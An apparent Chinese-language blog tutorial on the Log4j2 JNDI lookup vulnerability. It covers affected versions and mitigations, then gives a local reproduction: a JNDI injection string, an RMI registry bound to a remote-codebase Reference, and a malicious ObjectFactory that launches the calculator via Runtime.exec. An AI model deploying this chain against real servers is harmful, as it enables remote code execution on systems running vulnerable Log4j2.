前言:上週五有關開源日誌框架Log4j2高危漏洞預警發出後,這幾天各大互聯網公司都在加班加點做緊急漏洞處理。這是個什麼漏洞呢?有多大危害,搞得互聯網任人心惶惶!
漏洞背景
開源框架Apache Log4j2是一款非常優秀的日誌記錄框架,功能豐富,性能優越,應用於大量的業務系統中,深受廣大java開發者的喜愛。 本次漏洞其實是基於log4j2的lookup功能造成的,當用戶輸入的日誌參數非法${XXX}時,log4j2並沒有做嚴格的校驗,而是會解析非法參數${}中的內容並執行。這樣就會給一些非法分子利用此漏洞的機會,發送一些系統操作命令,從而控制服務器,造成不可估量的損失。
影響範圍
2.0版本到2.15.0-rc1均會收到影響 一些開源工具也收到影響(flink/solr/druid/kafka...)
解決方案
緊急方案: jvm啓動參數增加配置 -Dlog4j2.formatMsgNoLookups=true
最終方案: 及時更新至Apache Log4j 2.15.0-rc2版本
漏洞復現
整體流程
模擬業務邏輯打印日誌
新建工程並添加依賴
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
==本示例新建springboot工程,默認logback,所以需要排除掉==
新建Log4j2執行示例
public class Log4j2LoopholeService {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//本地jdk版本是1.8.0_131 默認下面配置爲false 所以修改此配置
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
// String name = "qrainly";
// String name = "${java:vm}";
// String name = "${java:os}";
String name = "${java:version}";
// String name = "${java:locale}";
// String name = "${java:runtime}";
// String name = "${java:hw}";
// String name = "${jndi:rmi://127.0.0.1:1099/obj}";
logger.info("name->====={}=====", name);
}
}
模擬JNDI注入服務
新建Rmi動態註冊服務
public class RmiRegistryServer {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] argv) throws RemoteException, NamingException, AlreadyBoundException {
//啓動RMI註冊服務,指定端口爲1099 (1099爲默認端口)
//也可以通過命令 $java_home/bin/rmiregistry 1099啓動 (再打開一個DOS窗口且必須事先用RMIC生成一個stub類爲它所用)
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("AttackObject","AttackObject","http://127.0.0.1:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("obj",wrapper);
logger.info(">>>>>>>>>>>>>>>>>>>>>RmiRegistryServer is successful<<<<<<<<<<<<<<<<");
}
}
新建攻擊類
public class AttackObject implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(">>>>>>>>>>>>>>>>>>執行攻擊代碼<<<<<<<<<<<<<<<<<<");
// Process process = Runtime.getRuntime().exec("notepad.exe");
Process process = Runtime.getRuntime().exec("calc");
return null;
}
}
綁定攻擊類編譯文件到Nginx的html目錄下
模擬攻擊注入
啓動Nginx
啓動Rmi註冊服務
執行模擬業務main方法
執行結果
日誌參數非法執行喚起計算器,當然這是我本地模擬攻擊實現,如果是其他執行命令執行,例如刪除某些文件,關機等操作,將給我們應用服務帶來不可估量的損失。
本文示例代碼: log4j2-loophole.
後續
互聯網安全問題是我們每一個互聯網人都要認真對待的事情,防患於未然,認真對待落實安全問題,才能夠有效保證我們的財產安全。
持續更新中